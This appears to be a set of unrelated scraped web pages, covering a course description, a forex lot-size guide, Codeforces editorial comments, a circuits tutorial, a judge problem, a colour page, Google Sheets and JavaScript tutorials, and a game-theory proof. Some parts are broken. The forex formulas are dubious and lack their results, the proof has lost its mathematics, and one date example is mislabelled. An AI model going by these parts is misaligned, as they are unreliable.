has such limited regularity.\nSize: 361.7Kb\nFormat: PDF\n\nDOI: http://dx.doi.org/10.3934/dcds.2014.34.203", null, "This work is under a Creative Commons License:" ]

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[ "## MA2MOD-Mathematical Modelling\n\nModule Provider: Mathematics and Statistics\nNumber of credits: 10 [5 ECTS credits]\nLevel:5\nTerms in which taught: Autumn term module\nPre-requisites: MA1CA Calculus and MA1LA Linear Algebra\nNon-modular pre-requisites: Some basic knowledge for programming with Matlab, R, Excel or similar.\nCo-requisites:\nModules excluded:\nCurrent from: 2020/1\n\nModule Convenor: Dr Zuowei Wang\n\nType of module:\n\nSummary module description:\n\nThis module will cover topics related to mathematical modelling, e.g. in the areas of science, engineering and finance.\n\nAims:\n\nTo develop student’s problem solving skills by applying mathematical techniques to solve real world problems across a broad range of scientific, engineering and financial topics, such as Newton’s laws of motion, calculations of population growth, loan interest etc.\n\nAssessable learning outcomes:\n\nBy the end of this module students are expected to be able to:\n\n• Demonstrate skills to build mathematical models for given problems;\n\n• Derive and solve equations implied by appropriate applications using mathematical techniques: o    Dimensional analysis;\n\n• Calculus;\n\n• Ordinary differential equations;\n\n• Linear Algebra.\n\nExamine and visualise the model solutions by using mathematical and statistical programming skills, such as Matlab and R.\n\nOutline content:\n\nThis module will be delivered in the following steps\n\n1. Model building;\n\n2. Dimensional analysis;\n\n3. Applications of first order ordinary differential equations in topics such as calculations of population growth, loan interest etc.;\n\n4. Applications of systems of ordinary differential equations in topics such as population or predator-prey problems;\n\n5. Applications of second order ordin ary differential equations in topics such as dynamics (Newton’s laws of motion).\n\nBrief description of teaching and learning methods:\n\nLectures plus tutorials.\n\nContact hours:\n Autumn Spring Summer Lectures 20 2 Tutorials 9 Guided independent study: 69 Total hours by term 98 2 Total hours for module 100\n\nSummative Assessment Methods:\n Method Percentage Written exam 80 Set exercise 20\n\nSummative assessment- Examinations:\n\n2 hours.\n\nSummative assessment- Coursework and in-class tests:\n\nFormative assessment methods:\n\nProblem sheets.\n\nPenalties for late submission:\n\nThe Module Convenor will apply the following penalties for work submitted late:\n\n• where the piece of work is submitted after the original deadline (or any formally agreed extension to the deadline): 10% of the total marks available for that piece of work will be deducted from the mark for each working day (or part thereof) following the deadline up to a total of five working days;\n• where the piece of work is submitted more than five working days after the original deadline (or any formally agreed extension to the deadline): a mark of zero will be recorded.\nThe University policy statement on penalties for late submission can be found at: http://www.reading.ac.uk/web/FILES/qualitysupport/penaltiesforlatesubmission.pdf\nYou are strongly advised to ensure that coursework is submitted by the relevant deadline. You should note that it is advisable to submit work in an unfinished state rather than to fail to submit any work.\n\nAssessment requirements for a pass:\n\nA mark of 40% overall.\n\nReassessment arrangements:\n\nOne examination paper of 2 hours duration in August/September - the resit module mark will be the higher of the exam mark (100% exam) and the exam mark plus previous coursework marks (80% exam, 20% coursework)." ]

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[ "# How to calculate maximum lot size forex?\n\n624\n0", null, "Forex trading is one of the most popular and lucrative investment options that have attracted millions of traders worldwide. However, to be a successful forex trader, you need to have a good understanding of the market, the trading strategies, and the risk management techniques. One of the most important aspects of forex trading is determining the maximum lot size that you can trade.\n\nLot size refers to the number of currency units that you can buy or sell in a single trade. The size of the lot determines the amount of risk you are willing to take and the potential profit or loss. Hence, it is crucial to calculate the maximum lot size that you can trade to minimize the risk and maximize the profits.\n\nThere are several factors that you need to consider when calculating the maximum lot size for forex trading. These factors include your account size, leverage, risk tolerance, and the currency pair that you want to trade.\n\n### Calculating Maximum Lot Size Based on Account Size\n\nThe first step in calculating the maximum lot size is determining your account size. Your account size is the amount of money that you have in your trading account, including the balance and the profits or losses from your previous trades. The larger your account size, the bigger the lot size you can trade.\n\nThe general rule of thumb is that you should not risk more than 2% of your account size on a single trade. This means that if you have a \\$10,000 trading account, the maximum amount you should risk on a single trade is \\$200. To determine the maximum lot size for a trade, you need to divide the amount you want to risk by the stop-loss distance.\n\nFor example, if you want to risk \\$200 on a trade and your stop-loss is 20 pips, you can calculate the maximum lot size as follows:\n\n### Maximum lot size = (Risk Amount / Stop-Loss Distance) / (Value per Pip)\n\nAssuming that the value per pip for the currency pair you want to trade is \\$10, you can calculate the maximum lot size as follows:\n\n### Calculating Maximum Lot Size Based on Leverage\n\nLeverage is a powerful tool that allows you to control a large position with a small amount of capital. However, it also increases the risk of your trades, and you need to be careful when using leverage. The maximum lot size that you can trade also depends on the leverage offered by your broker.\n\nFor example, if your broker offers a leverage of 1:100, it means that you can control a position that is 100 times larger than your account size. In this case, the maximum lot size that you can trade is calculated as follows:\n\n### Maximum lot size = (Account Size * Leverage) / (Value per Pip * Stop-Loss Distance)\n\nAssuming that your account size is \\$10,000 and the value per pip for the currency pair you want to trade is \\$10, and your stop-loss is 20 pips, you can calculate the maximum lot size as follows:\n\n### Calculating Maximum Lot Size Based on Currency Pair\n\nThe maximum lot size that you can trade also depends on the currency pair that you want to trade. Some currency pairs are more volatile than others, and they require smaller lot sizes to manage the risk.\n\nFor example, if you want to trade the USD/JPY currency pair, which is less volatile, you can trade larger lot sizes compared to the GBP/USD currency pair, which is more volatile.\n\nTo determine the maximum lot size based on the currency pair, you need to consider the average daily range (ADR) of the currency pair. ADR refers to the average number of pips that the currency pair moves in a day.\n\nAssuming that the ADR for the currency pair you want to trade is 100 pips, you can calculate the maximum lot size as follows:\n\n### Maximum lot size = (Account Size * Risk Percentage) / (ADR * Value per Pip * Stop-Loss Distance)\n\nAssuming that your account size is \\$10,000, and you want to risk 2% of your account size, and the value per pip for the currency pair you want to trade is \\$10, and your stop-loss is 20 pips, you can calculate the maximum lot size as follows:\n\n### Conclusion\n\nCalculating the maximum lot size for forex trading is an important aspect of risk management. It helps you determine the amount of risk you are willing to take and the potential profit or loss. The maximum lot size depends on several factors, including your account size, leverage, risk tolerance, and the currency pair that you want to trade. By using the formulas and techniques outlined above, you can calculate the maximum lot size that you can trade and manage your risk effectively." ]

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[ "### qoo2p5's blog\n\nBy qoo2p5, history, 2 years ago, translation,", null, ",", null, "Problem A. Key races\nProblem B. The number on the board\nProblem C. Star sky\nProblem D. Palindromic characteristics\nProblem E. The penguin's game\nProblem F. Roads in the Kingdom", null, "Tutorial of Codeforces Round #427 (Div. 2)", null, "Tutorial of Codeforces Round #427 (Div. 2)", null, "Comments (67)\n » I did a O(nclogX + QlogX) solution for problem C. Where X is the maximum coordinate. Answering each query in O(log X).\n » 2 years ago, # | ← Rev. 2 →   del\n » 2 years ago, # | ← Rev. 2 →   For problem C ,what I am doing is storing the cummlative sum of the value of all stars in a row x upto y at time instant t as cum[x][y][t] for all t<=10 and then for each query I am running a loop for i= x1 to x2 and adding cum[i][y2][t]-cum[i][y1-1][t] to the answer where t=t mod (c+1) .I am getting WA.Can anyone please help? code link : http://codeforces.com/contest/835/submission/29068753\n• » » 2 years ago, # ^ | ← Rev. 2 →   two stars may have the same x,y\n• » » » Oh i totally missed that! Thank you!\n » 2 years ago, # | ← Rev. 2 →   Hi! In problem C I tried to do a Brute force solution with some optimization but getting WA for TEST 3. Can someone please look at my code. http://codeforces.com/contest/835/submission/29078375\n• » » You must have ignored the possibility of having two or more star at one point.See carefully constraint for number of stars (10^5) is more than the grid (100*100)\n• » » » Yeah...Thanks a lot! that was the issue and changing lower_bound to upper_bound for r1 calculation solved the issue. Earlier I thought that no 2 stars can be at a single point (despite of seeing the constraints). But since the sky is 3-D a person will see 2 stars which are separated by vertical distance on top of each other at a same point.\n » Does this mean that the right half of abba is actually ab not ba? I was solving it as if the right half was ba.\n• » » It is ba.\n• » » » I had a huge thing misunderstood during the contest, thanks for clarifying.\n• » » » So the condition was supposed to be \"the left half is the reverse of the right half\"? or am I understanding something wrong?\n• » » » » I don't think you're right. In the statement: \"Its left half equals to its right half\", and this is the tricky part.\n• » » » » No, it wasn't. But we can prove that it is.Let's prove that k-palindrome (k >= 1) is palindrome. k = 1 is by definition. k >= 2: s = t + c + t, where t is (k — 1)-palindrome and c is some character or empty string. s is k-palindrome. So, t is (k — 1) palindrome. And we know that t is palindrome. So, reversed(t) = t. And s = t + c + reversed(t) and it is palindrome.\n » Yeah the editorials for even other contests should be posted fast like this one! :)\n » 2 years ago, # | ← Rev. 2 →   Sorry for my poor English:) Can anyone explain problem B, forth test, i tried to think on it but my answer is also wrong, help me!!! UPD: I FINNALY UNDERSTOOD MY MISTAKE :D\n » Hello!For problem C.I looked through questions of contestants and my question is quite similar to those. I just can't understand why i got WA on 3 Test. I took into account case, when stars are in one spot, but it didn't help me. It will great help to me if someone will find bug in my code: http://codeforces.com/contest/835/submission/29064634\n• » » It will be great help*\n » 2 years ago, # | ← Rev. 12 →   For problem C, what I did was storing the brightness of stars in the array and accumulating the (brightness + t) % (maxBrightness+1) inside a given rectangle. Suppose maximum brightness is 4 and the query is (1,1,1,2,2).The brightness of stars are stored in a following manner:0 0 0 00 1 2 00 0 0 0 I am checking from (1,1) to (2,2) and and it produces: (1+a) % 4 + (1+ a) % 4 = 3 What seems to be a prolbem? I would appreciate if someone point out the logical defect on the idea. http://codeforces.com/contest/835/submission/29073973\n• » » There can be multiple stars at a point. Also, it seems that you are looping through the rectangle of each view, which might be too many operations to fit in the time limit.\n• » » » 5 months ago, # ^ | ← Rev. 3 →   Hey, __ea, if you don't mind, can you please have a look at my code for problem C. It got TLE on test 8. This is my code\n » In D we should make m = [(l+r)/2]-1 only if length of substring is odd, otherwise m= [(l+r)/2]; By the way, how to use special symbols? like [ ]?\n » Can someone explain what is bad with input/output in my solution of E?29084972\n• » » You need to flush the output every time you print. Some languages back up all printing operations into a buffer until there's enough (because printing takes time, so printing a single large string is faster than many small strings). This makes the grader to not be able to see your output; flushing forces the language to actually print it out to the output no matter whether the buffer is full or not. It's also written in the problem statement.\n• » » » Nope, it doesnt help (in java println workes like flust). I tried to use flush after every print and only after printlns, nothing helps. I dont get where is mb mistake...\n » Proof that 19 questions is necessary for E:At the worst case, n = 1000, so there are", null, "possible answers. You need to find the single correct answer. Each question you ask will give 2 possibilities, so k questions will give 2k possibilities. Of course, you need 2k ≥ 499500, otherwise some answers to the questions will have lump multiple possibilities together. Thus k ≥ 19.\n » For Problem D, I found a simple solution using Palindromic Tree, which runs in O(|s|) time and uses only O(|s|) memory.29085544\n• » » In fact I found this problem quite similar to another Codechef problem Here, but in this problem the range of |s| is much smaller.\n• » » Do you mind explaining your panlindromic tree solution?\n• » » » It's hard to explain the whole idea of palindromic tree here, this tutorial may be useful.First let's define the palindromeness of a palindrome S as the maximum k that S is k-palindrome. In this problem, actually we need to calculate the palindromeness and the number of occurrences for each palindrome. The second problem is a basic application of palindromic tree which can be found in the blog above. To deal with the second one, for each palindrome S we need to know the longest palindrome prefix P whose length doesn't exceed", null, ", the palindromeness of S equals to the palindromeness of P + 1 if", null, ". It equals to 1 otherwise.So the only remaining problem is to find P for each palindrome. And it's easy to cope with that with similar method of calculating the longest prefix palindrome. You can take a look at my code (where half[S] presents P) for more details. Sorry for my poor English, hope you can get what I mean.\n• » » » » 2 years ago, # ^ | ← Rev. 2 →   Thanks for your kind advice. I managed to understand your explanation and implement the AC solution. I learnt a lot from this!Once again, thanks so much for your help!\n » I know my code for D is not very efficient, but after testing 5000 'a's in custom test and it runs under 2800ms, I decided to submit it. But it gets TLE on test 30. However I submitted the exact same code after contest it passed. Does anyone knows the reason? Thanks.Code in contest: 29067565 Code after contest: 29086375\n• » » You could write to jury. May be technique dependence.\n• » » » Excuse me, what wrong or impolite did I say?\n• » » » » I don't know, but 400ms difference on the same test case with the same code seems significant.\n » Here is a trap in Problem C: There maybe two stars with the same pos! I got WA for many times because of this!\n• » » its kinda obvious that there are . since there can be 1e5 stars but there are a maximum of 100 * 100 positions possible for them\n• » » » OK.I'm sorry. Maybe I'm too weak\n• » » » » 2 years ago, # ^ | ← Rev. 2 →   haha I wasted 2 hs because of that detail\n• » » » » im sorry i didnt mean that\n » 2 years ago, # | ← Rev. 2 →   I was wondering if problem C could be done using convex hull? Can somebody please explain why not and if yes then how.\n• » » Your queries are rectangles so it doesn't make any sense to use convex hull.\n » Looking For recursive solution For Problem D..\n• » »\n• » » » Finally done by recursive implementation...check For reference\n » For problem D, would anyone like to prove OBS1? i know it's kind of obvious but i still wonder why :L\n• » » I explained it this way: divide our palindrome into 2 halves, while they are identical, i.e. abacaba <- aba <- a. Length of this chain is k, every member in it can be represented as 1-palindrome, so our initial string can be [1..k]-palindrome. (if we assign aba as 1-palindrome, abacaba would be 2-palindrome, if we assign a as 1-palindrome, abacaba would be 3-palindrome)\n• » » By induction, just assume that for any n <= k, n-palindrome is a 1-palindrome, then prove it for n = k + 1. So, let's take (k + 1)-palindrome, left and right halves of it must be same k-palindromes, which are 1-palindromes by our inductive assumption, thus the whole (k + 1)-palindrome is also 1-palindrome.\n• » » » but whole k + 1 palindrome is also 1 palindrome doesn't prove k palindrome is k - 1 straightforwardly,right?\n• » » » » Oh, sorry, I incorrectly understood OBS1, my bad:)\n• » » » » Ok then, just change the assumption, now by the assumption for any 1 < n <= k n-palindrome is (n — 1)-palindrome, too. The prove will be the same, the only thing to deal with is the base case for k = 2.\n• » » We can prove by induction on kTheorem: if s is k-palindrome, s is also (k — 1) palindrome, k > 1, |s| > 1.Case |s| = 1, it's 1-palindrome = palindrome, since there's no definition of a 0-palindrome, there's nothing to prove.Base case for induction: k = 2.If s is 2-palindrome, s can be written as s' + c + s', s' is 1-palindrome, c is some character, possibly the empty character. Since s' is palindrome, s' + c + s' is also a palindrome, so every string which is 2-palindrome is also a 1-palindrome.Induction hypothesis: Every string s which is k-palindrome is also (k — 1) palindrome, |s| > 1, |k| > 2. The hypothesis is recursive until k = 2.s is k-palindrome so it can be written as [k — 1] + c + [k — 1], where [x] denotes some string which is x-palindrome.Induction step: Let t be a (k + 1)-palindrome string.t = [k] + c + [k], c is some character, possibly the empty character (check above the meaning of the [k] notation). Our induction hypothesis says that a string [k] is also (k — 1)-palindrome, so we can replace [k] by [k — 1], so:t = [k] + c + [k]t = [k — 1] + c + [k — 1]A string is k-palindrome if can be written as [k — 1] + c + [k — 1], we just wrote t as this way so t is k-palindrome and the induction is finished.\n » I did not understand the equation cnt[p][x][y] = cnt[p][x - 1][y] + cnt[p][x][y - 1] - cnt[p][x - 1][y - 1] can someone please explain it to me.\n• » » cnt[p][x][y] = cnt[p][x - 1][y] + cnt[p][x][y - 1] - cnt[p][x - 1][y - 1]  is not true, you have to add it up so = should be replaced with +=. cnt[p][x][y] += cnt[p][x - 1][y] + cnt[p][x][y - 1] - cnt[p][x - 1][y - 1]  this is used to calculate the number of stars with brightness level p at (x,y) position by known number of stars for previous positions at the same brightness level. To make it more clear we are subtracting cnt[p][x-1][y-1] because otherwise for any position x,y numbers of stars will be repeated, which is exactly we don't want :)\n » Problem: C. Star sky. Can any one help me? I'm try too much time but problem statement isn't clear to me. Can anyone explain first or second testcase?\n » In Problem D,I thought of the solution above. However, I am afraid of the time limit because dp costs O(|s|^2) time and we must compare the string to make sure it's a palindrome, so I think the time is more than O(|s|^2), is this true?\n• » » After understanding the solution c++ code,I understand. Just ignore,please. I can use the result before to decrease much time complexity.\n » I do not understand the description of problem D clearly.how is the answer for 2nd sample test case calculated? abacaba => 12 4 1 0 0 0 0thanks in advance :)\n• » » If a string is K-palindromic it will be (K-1)-palindromic as well. That means that for a = 12 we count every possible palindromic string. You can check that there are exist 12 palindromic strings. a = 1 because only abacaba is 3-palindromic string. a = 4, because {aba, aca, aba(2nd time)} are palindromic string but don't forget to add {abacaba} as well because it is 3-palindromic so it is 2-palindromic too. So a simple solution is to find the a[i] table and after do that operation a[i-1] += a[i].\n• » » » How bacab got included in a? Is bacab is not 2 palindrome?\n » Problem E It can be proven that in the given constraints you can't solve this problem in less than 19 questions. Really interested to know how to prove such a lower bound! :D\n• » » You can read the proof here: http://codeforces.com/blog/entry/53588?#comment-376471\n » Are there any binary search approach with DP to count the number of palindromic substring in a string. If yes please do provide me the code.\n » In problem D, why hashing TLE? I think the complexity of my solution is O(n^2 * log(n)) which is very small (correct me if I'm wrong) .My submission: http://codeforces.com/contest/835/submission/29868893Can anyone help me?\n• » » Hashes are slow. The constant factor of your solution is too large.The intended solution is O(n2) and you don't need hashing in it.\n• » » » Ok thanks!\n » 5 months ago, # | ← Rev. 3 →   Can anyone please see my code for problem C? I am getting TLE on test 8. This is my code Please help me." ]

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[ "", null, "# Series and Parallel Circuits 5: More About Circuits\n\n1. Series and Parallel Circuits 1: The Basics\n2. Series and Parallel Circuits 2: Resistors\n3. Series and Parallel Circuits 3: Capacitors\n4. AC Series and Parallel Circuits 4: Inductors and Capacitors\n\n👉 Check out our Series and Parallel Circuits Calculators\n\nSeries and Parallel Resistor Calculator\n\nSeries and Parallel Capacitor Calculator\n\nAn almost unlimited number of useful circuits and associated variants are available to the circuit designer.  Electronic Design Automation (EDA) software, such as those available from Altium, or EEsof (Keysight), and the like, include databases of circuits and circuit modules, as well as automated circuit design and modeling capabilities, etc.  The capabilities of EDA software systems are amazing and are ever improving!\n\nAnalog and digital circuits are available to serve myriad functions.  Websites such as “All About Circuits,” “Electronics Notes,” “Circuit Lab,” “Electronics Tutorials,” and numerous others provide a plethora of circuit types and examples, as well as valuable related information.  Additionally, numerous books, such as Graf’s, et al. Encyclopedia of Electronic Circuits (Vols. 1-7) and others, disclose and describe an abundance of electronic circuits, as well as their uses and how to “fine tune” them for your application.  While there are simply too many to cover in a post, let’s review a few.  Voltage divider circuits are useful in that they produce different voltage levels from a common voltage source.  As shown below, a basic voltage divider is a series circuit, where the output current is the same through each component.\n\nIn the above voltage divider circuit:\n\nwhere:\n\nVS is the voltage drop across the entire circuit (V)\n\nVRi is the voltage drop across resistor i (V)\n\nRT is the total circuit resistance (Ω)\n\nRi is the resistance of resistor i (Ω)\n\nVoltage divider circuits may have voltage sources or “taps” that are both positive and negative in the same circuit as shown below for a 60W, 2.5A multiple voltage power supply voltage divider circuit, which is useful for computer applications, and other DC circuits, etc.\n\nIn the above case, the zero-voltage point is placed between R3 and R4 (i.e., at tap node 4) so as to enable three different positive DC voltages and one negative DC voltage (i.e., +12V between tap nodes 1 and 4, +5V between tap nodes 2 and 4, +3.3V between tap nodes 3 and 4 and -12V between tap nodes 4 and 5) from the 24V DC source.\n\nAdditionally, capacitive and inductive voltage divider circuits are useful in enabling multiple voltage AC power sources as shown below.\n\nCapacitive Voltage Divider:\n\nInductive Voltage Divider:\n\nCurrent divider circuits are useful in situations requiring two or more parallel circuit branches having different currents, but the same voltage; such as in the case of parallel LEDs having the same forward voltage (Vf) but different power ratings (currents).  Again, “All about Circuits” does an excellent job of explaining current divider circuits.\n\nFiltering circuits are another useful category of circuits.  Filters may be active or passive.  Active filters are typically analog circuits that utilize active components (such as amplifiers (Op-Amp or the like)) to actively filter signals. Active digital filter circuits are also a major category of circuits.\n\nPassive filters are analog circuits that are comprised of passive electronic components (capacitors, inductors, resistors).  Different passive filter circuit topologies, such as L-filters, C-filters, π-filters, multi-element filters, etc., are available to pass signal (e.g., DC-block) in your circuit, or to remove noise from your circuit, whether the signal or noise be relatively low or high frequency, or a band of frequency.[11,12,13,14]\n\nMany other types of circuits exist to meet the needs of designers and their customers.  With proper circuit choice and design, almost any electronic need can be solved.\n\nShare:" ]

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[ "시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율\n0.5 초 512 MB 224 60 58 30.526%\n\n## 문제\n\nA rectilinear path connecting two points in the plane is a path consisting of only horizontal and vertical line segments. A rectilinear path is said to be monotone with respect to the x-axis (resp., y-axis) if and only if its intersection with every vertical (resp., horizontal) line is either empty or a contiguous portion of that line. A staircase is a rectilinear path if it is monotone to both the x-axis and the y-axis, and a staircase is unbounded if it starts and ends with a semi-infinite horizontal segment, i.e., a segment that extends to infinity on both ends of the x-axis. Note that staircases can be either increasing or decreasing, depending on whether they go up or down as we move along them from left to right on the y-axis. A staircase with n vertical line segments is called a staircase with n steps.\n\nConsidering two unbounded staircases L and U, there can be several or no closed rectilinear regions bounded by staircases L and U. Among the closed rectilinear regions, some regions are bounded by a staircase L to the bottom and by a staircase U to the top. For example, in the following figure, the two regions colored yellow are that kind of closed rectilinear regions. We would like to compute the total area of such regions.", null, "Figure G.1. Two staircases L and U, where U has 3-steps and L has 4-steps. The two yellow colored regions are closed rectilinear regions bounded by a staircase L to the bottom, and a staircase U to the top. The xiL,yiL (resp., xiU,yiU) are the x-, y-coordinates of corner points of the staircase L (resp., U).\n\ny0 x1 y1 x2 y2xn yn  --------------------------------      (1)\n\nwhere x1 < x2 < … < xn for x-coordinates of vertical line segments, and y0 < y1 < … < yn for y-coordinates of horizontal line segments of an increasing staircase or y0 > y1 > … > yn for a decreasing staircase.\n\nFor example, given a 4-step staircase L represented with\n\n6 2 9 11 11 15 16 21 19\n\nand a 3-step staircase U represented with\n\n3 6 12 10 14 18 17\n\nthe number of bounded rectilinear regions is 2 and the total area of the regions is 32 (see figure G.1).\n\nGiven two unbounded staircases L and U that all x-coordinates represented in (1) of corner points of both L and U are unique, and all y-coordinates represented in (1) of corner points of both L and U are unique, compute the total area of bounded rectilinear regions that bounded by L to the bottom of the regions and by U to the top of the regions.\n\n## 입력\n\nYour program is to read from standard input. The first line contains two positive integers n and m, respectively, representing the number of steps of unbounded staircases L and U, where 1 ≤ n,m ≤ 25,000    25,000. The second (resp., third) line contains 2n + 1 (resp., 2m + 1) integers representing the x-, y-coordinates of corner points of the staircase L (resp., U), and the integers are sequenced in the order of the notation (1). The coordinates are represented with non-negative integers less than or equal to 50,000.\n\n## 출력\n\nYour program is to write to standard output. The first line should contain two integers k and w, where represents the number of closed rectilinear regions and w represents the total area of those regions. If there is no such regions, then your program should write 0 for both k and w.\n\n## 예제 입력 1\n\n4 3\n6 2 9 11 11 15 16 21 19\n3 6 12 10 14 18 17\n\n\n## 예제 출력 1\n\n2 32\n\n\n## 예제 입력 2\n\n4 3\n9 1 7 3 5 5 3 7 1\n0 2 2 4 4 6 6\n\n\n## 예제 출력 2\n\n0 0\n\n\n## 예제 입력 3\n\n1 1\n1 50000 50000\n0 0 49999\n\n\n## 예제 출력 3\n\n1 2499900000" ]

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[ "#926A6E\n\nColor name: Opium\n\nHex #926A6E has hue angle of 354 degrees, value = 57 and saturation = 27. #926A6E can be obtained by mixing 4 colors: 29% of YELLOW, 29% of MAGENTA, 36% of BLUE, 7% of GREEN. Click \"ADJUST\" button to move #926A6E to the mixer and play with it.\n\n#926A6E\n29%\n4\nYELLOW\n29%\n4\nMAGENTA\n36%\n5\nBLUE\n7%\n1\nGREEN\n\nMixing #926A6E step by step\n\nThe diagram shows the process of mixing multiple colors step by step. Here you can see the mix of 4 drops of YELLOW, 4 drops of MAGENTA, 5 drops of BLUE, 1 drop of GREEN.\n\n1\n=\n1\n1\n+\n1\n=\n2\n1\n+\n2\n=\n3\n1\n+\n3\n=\n4\n1\n+\n4\n=\n5\n1\n+\n5\n=\n6\n1\n+\n6\n=\n7\n1\n+\n7\n=\n8\n1\n+\n8\n=\n9\n1\n+\n9\n=\n10\n1\n+\n10\n=\n11\n1\n+\n11\n=\n12\n1\n+\n12\n=\n13\n1\n+\n13\n=\n14\n\nColor #926A6E conversion table\n\nHEX\n#926A6E\n\nHSV\n354°, 27, 57\n\nHSL\n354°, 16, 49\n\nCIE Lab\n48.94, 16.6, 4.08\n\nRGB decimal\n146, 106, 110\n\nRGB percent\n57.3%, 41.6%, 43.1%\n\nCMYK\n0, 27, 25, 43\n\nColor name\nOpium\n\nMix of color #926A6E with water\n\nBelow you can see the model of the mix of #926A6E with pure water. Labels indicate the transparency of the mixture.\n\n0%\n10%\n20%\n30%\n40%\n50%\n60%\n70%\n80%\n90%" ]

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[ "# DATE Function – Google Sheets\n\nThe DATE function is simple when considered by itself. It takes three numbers as an input and just returns those numbers as a date. That is all it does. However, this function is useful in building formulas that use the resultant date. Dates require special care when being used in formulas since they don’t behave like regular numbers do in spreadsheets.\n\nYou could be working with large tables of demographic data with separate columns for date, month, and year. If you want to perform analysis on this data, the DATE function would turn the three columns into a value that you could then work with.\n\nFurthermore, if you want to use a date in a formula instead of referencing a cell with a date value, you need to use the DATE function or surround the date value with quotes. Formulas do not understand dates typed directly into a formula as shown in the examples below.\n\n## Purpose\n\nThe DATE function takes numbers for month, day and year and returns them as a date.\n\n## Syntax\n\n`=DATE(year,month,day)`\n\n• `year` – The four-digit year (1997 is well, 1997)\n• `month` – The number of the month (February = 2)\n• `day` – The number of the day (The 13th = 13 duh)\n\n## Examples\n\n### Example 1 – Plain and Simple\n\nA simple example of the date function.\n\n Formula Description Result `=DATE(1997,2,20)` Output February 2, 1997 as a date 2/20/1997\n\nIf you don’t see 2/20/1997 or your international equivalent as the output, change the formatting to date by going to the Format menu and selecting Number.\n\n### Example 2 – Using DATE in formulas\n\nThe DATE function is commonly used in formulas to let Google Sheets know that you are using a date and what its value is. With DATE, there is only one order in which to enter the year, month and day. This eliminates variances between different countries that write dates in different orders.\n\n Formula Description Result `=3/11/2015-3/10/2015` Subtracting two dates by typing them directly into the formula. -0.00001353485224 `=\"3/11/2015\"-\"3/10/2015\"` Subtracting two dates by typing them directly into the formula and by using quotes around them. 1 `=DATE(2015,3,11)-DATE(2015,3,10)` Subtracting two dates using the DATE function. 1\n\nSheets doesn’t know that you are referring to a date in the first line. Using quotes or the DATE function lets Sheets know that you are using dates.\n\n### Example 3 – Calculating Age in Days\n\nLet’s look at an example of calculating age in days by using the DATE formula. When visiting the live Google Sheet linked at the bottom of this page, you will notice that the results are getting larger as the TODAY() function produced December 27, 2016 when this page was written, but the TODAY() function will produce the current day whenever you look at the live spreadsheet.\n\nTip: The DATEDIF function provides a more powerful method of calculating age. It can be customized to output days, month, years, or a combination thereof.\n\n A B C D E 1 Year Month Day Formula as text Result of formula 2 1996 2 11 `=TODAY()-DATE(A2,B2,C2)` 7625 3 2011 4 14 `=TODAY()-DATE(A3,B3,C3)` 2084 4 1974 4 17 `=TODAY()-DATE(A4,B4,C4)` 15595\n\n### Live examples in Sheets\n\nGo to this spreadsheet for the examples of the DATE function shown above, so that you can study and use them anywhere you like." ]

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[ "## Proof of the Stable Solution Theorem\n\nFor a two player, zero sum game, a stable solution is one such that each player always plays the same, unchanging strategy. The Stable Solution Theorem states that there will only be a stable solution when the row maximum of the matrix representing the playoffs for one player equals the column minimum.\n\nIf the matrix represents the payoffs for", null, "of each combinations of strategies of each player, with", null, "and", null, "player A's and B's play safe winnings respectively, then\n\n1. For any zero sum game,", null, "2. A zero sum game has a stable solution if and only if", null, "Prove 1 first. If both players play safe then", null, "wins at least", null, "and", null, "wins at least", null, "so the total winnings are at least", null, "but in a zero sum game the total winnings are always zero so", null, "Since", null, "is the row maximin there is a row in which the smallest element is", null, "If the row is the kth row then player", null, "will be playing safe by playing strategy", null, "Similarly", null, "is the column minimax, there is a column minimax, there is a column, say the lth, in which the largest entry is", null, "Player", null, "will be playing safe by choosing strategy", null, "The value of the game to", null, "is given by the element", null, "in the matrix.", null, "since", null, "is the smallest number in row", null, "and", null, "since", null, "is the biggest number in column", null, "Hence", null, "but", null, "hence", null, "hence", null, "and", null, "", null, "is then the smallest in row", null, "and the biggest in column", null, "Player", null, "assumes that player", null, "will play strategy", null, "There is no benefit to", null, "in changing strategy since", null, "gives the biggest payoff to", null, "", null, "also assumes that", null, "will play strategy", null, "There is no benefit to", null, "in changing strategy since", null, "gives the biggest payoff to", null, "so", null, "will always play strategy l. The game is table and", null, "is the saddle point.\n\nTo prove the 'only if' part, note that if the game is stable there is a saddle point or possibly points that give the game's value. Since this is a zero sum game this must be equal and opposite for each player so", null, "" ]

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[ "# Returning Object Literals from Arrow Functions in JavaScript\n\nArrow functions are one of the great new features of ECMAScript 2015. They allow you to define functions using a concise syntax that doesn't require the `function` keyword.\n\nUsing the classical function expression syntax, you could define a function to square a given integer as follows:\n\n``````var square = function (n) {\nreturn n * n;\n};``````\n\nUsing arrow function notation, on the other hand, it looks a little differently:\n\n``````let square = n => {\nreturn n * n;\n};``````\n\nNote that the arrow function expression easily fits in one line and is still readable. The body of the function contains a single return statement which returns a binary expression. Because we have a single return statement within the body, we can shorten the function expression even further and omit both the wrapping block statement and the `return` keyword:\n\n``let square = n => n * n;``\n\nThis way, the body of the function is a simple binary expression and the code is a lot shorter than before. Let's now try to return an object literal from a function instead of a primitive value.\n\n## #Returning Object Literals from Arrow Functions\n\nLet's assume we want the `square` function to return the square of the given number as a property of an object literal. This is how we'd traditionally define the function:\n\n``````var square = function (n) {\nreturn {\nsquare: n * n,\n};\n};``````\n\nIf you were to rewrite this function expression as an arrow function, you might be tempted to simply translate it just like we did in the previous example, like this:\n\n``````let square = n => {\nsquare: n * n;\n};``````\n\nWhen you call `square`, though, you'll notice the function doesn't work as intended. No matter which input value you pass, you'll get `undefined` as a return value. Why is that?\n\nThe issue with the arrow function is that the parser doesn't interpret the two braces as an object literal, but as a block statement. Within that block statement, the parser sees a label called `square` which belongs to the expression statement `n * n`. Since there's no return statement at all, the returned value is always `undefined`.\n\nTo be precise, the body of the function consists of a block statement whose statement list contains a single statement, a labeled statement. Its body is an expression statement holding the binary expression. There's no return statement.\n\nWhat you need to do is force the parser to treat the object literal as an expression so that it's not treated as a block statement. The trick is to add parentheses around the entire body:\n\n``let square = n => ({ square: n * n });``\n\nOnce the parser encounters the opening parenthesis, it knows from the ECMAScript grammar that an expression must follow because block statements can't be parenthesized. Therefore, it parses an object literal (which is an expression) rather than a block statement (which is not).\n\nAnd there you go! Parentheses do the trick." ]

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